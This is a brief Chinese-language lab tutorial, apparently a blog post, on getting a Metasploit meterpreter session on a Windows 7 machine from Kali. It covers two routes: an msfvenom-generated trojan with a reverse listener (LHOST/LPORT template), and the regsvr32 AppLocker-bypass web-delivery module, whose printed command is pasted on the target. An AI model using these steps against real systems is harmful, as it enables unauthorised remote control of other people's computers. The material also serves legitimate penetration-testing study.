攻击机：kaili
ip：192.168.80.157
目标机：win7
IP：192.168.80.158
这里用两种方法去创建meterpreter会话：
1）利用kali中的msfvenom生成木马，在目标机上运行，具体步骤如下：
常用参数：
-p 选择攻击的payload
-l 载荷列表
-f 生成的文件格式
-e 编码方式
-i 编码次数
-b 在生成的程序中避免出现的值
一般格式：
msfvenom -p 指定攻击的payload LHOST=监听IP LPORT=监听端口 -f 输出的文件格式 -o 生成木马的文件名
生成木马
设置监听
待目标机运行刚刚生成的木马时，就会产生一个meterpreter会话
2）使用web_delivery模块（你也可以选择其他模块，过程都是相似的）
查看该模块可以使用的payload
这里我们使用exploit/windows/misc/regsvr32_applocker_bypass_server
然后设置IP：set lhost 192.168.80.157
最后运行：run，我们可以看到最下面出现一行命令，根据提示，复制这条命令到目标机上运行即可：
在win7中运行该命令
然后在kali中我们就可以看到已经成功监听，并且返回一个session：
输入命令：sessions 1 既可以创建meterpreter会话，控制目标机
